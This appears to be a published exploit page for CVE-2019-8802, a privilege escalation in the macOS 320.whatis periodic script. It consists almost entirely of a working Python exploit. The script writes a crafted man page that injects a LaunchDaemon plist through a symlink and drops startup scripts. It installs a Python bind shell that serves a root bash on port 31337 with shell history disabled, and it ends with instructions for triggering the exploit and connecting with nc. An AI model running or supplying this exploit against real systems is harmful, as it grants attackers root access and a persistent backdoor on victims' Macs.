Exploit for macOS 320.whatis Script Privilege Escalation CVE-2019-8802

## https://sploitus.com/exploit?id=PACKETSTORM:157660
# Exploit Title: MacOS 320.whatis Script - Privilege Escalation  
# Date: 2020-05-06  
# Exploit Author: Csaba Fitzl  
# Vendor Homepage: https://support.apple.com/en-us/HT210722  
# Version: macOS < 10.15.1  
# Tested on: macOS  
# CVE : CVE-2019-8802  
  
import sys  
import os  
  
man_file_content = """  
.TH exploit 1 "August 16 2019" "Csaba Fitzl"  
.SH NAME  
exploit \- --> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--  
"""  
  
sh_quick_content = """  
/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal  
"""  
  
sh_reboot_content = """  
python /Applications/Scripts/bind.py  
"""  
  
python_bind_content = """  
#!/usr/bin/python2  
import os  
import pty  
import socket  
  
lport = 31337  
  
def main():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(('', lport))  
s.listen(1)  
(rem, addr) = s.accept()  
os.dup2(rem.fileno(),0)  
os.dup2(rem.fileno(),1)  
os.dup2(rem.fileno(),2)  
os.putenv("HISTFILE",'/dev/null')  
pty.spawn("/bin/bash")  
s.close()  
  
if __name__ == "__main__":  
main()  
"""  
  
def create_man_file():  
print("[i] Creating bogus man page: /usr/local/share/man/man1/<!--exploit.1")   
f = open('/usr/local/share/man/man1/<!--exploit.1','w')  
f.write(man_file_content)  
f.close()  
  
def create_symlink():  
print("[i] Creating symlink in /usr/local/share/man/")  
os.system('ln -s /Library/LaunchDaemons/com.sample.Load.plist /usr/local/share/man/whatis.tmp')   
  
def create_scripts_dir():  
print("[i] Creating /Applications/Scripts directory")  
os.system('mkdir /Applications/Scripts')  
  
def create_quick_scripts():  
create_scripts_dir()  
print("[i] Creating script file to be called by LaunchDaemon")  
f = open('/Applications/Scripts/sample.sh','w')  
f.write(sh_quick_content)  
f.close()  
os.system('chmod +x /Applications/Scripts/sample.sh')  
  
def create_reboot_scripts():  
create_scripts_dir()  
print("[i] Creating script file to be called by LaunchDaemon")  
f = open('/Applications/Scripts/sample.sh','w')  
f.write(sh_reboot_content)  
f.close()  
os.system('chmod +x /Applications/Scripts/sample.sh')  
print("[i] Creating python script for bind shell")  
f = open('/Applications/Scripts/bind.py','w')  
f.write(python_bind_content)  
f.close()  
  
def rename_man_pages():  
for root, dirs, files in os.walk("/usr/local/share/man"):  
for file in files:  
if file[0] in "0123456789": #if filename begins with a number  
old_file = os.path.join(root, file)  
new_file = os.path.join(root, 'a' + file)  
os.rename(old_file, new_file) #rename with adding a prefix  
print("[i] Renaming: " + os.path.join(root, file))  
  
def main():  
if len(sys.argv) != 2 :  
print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"  
sys.exit (1)  
if sys.argv[1] == 'quick':  
create_man_file()  
create_symlink()  
create_quick_scripts()  
rename_man_pages()  
print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] and then simulate a boot load with: \nsudo launchctl load com.sample.Load.plist"  
elif sys.argv[1] == 'reboot':  
create_man_file()  
create_symlink()  
create_reboot_scripts()  
rename_man_pages()  
print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] reboot macOS or run `sudo launchctl load com.sample.Load.plist` and connect to your root shell via:\nnc 127.1 31337"  
else:  
print "[-] Invalid arguments"  
print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"  
  
if __name__== "__main__":  
main()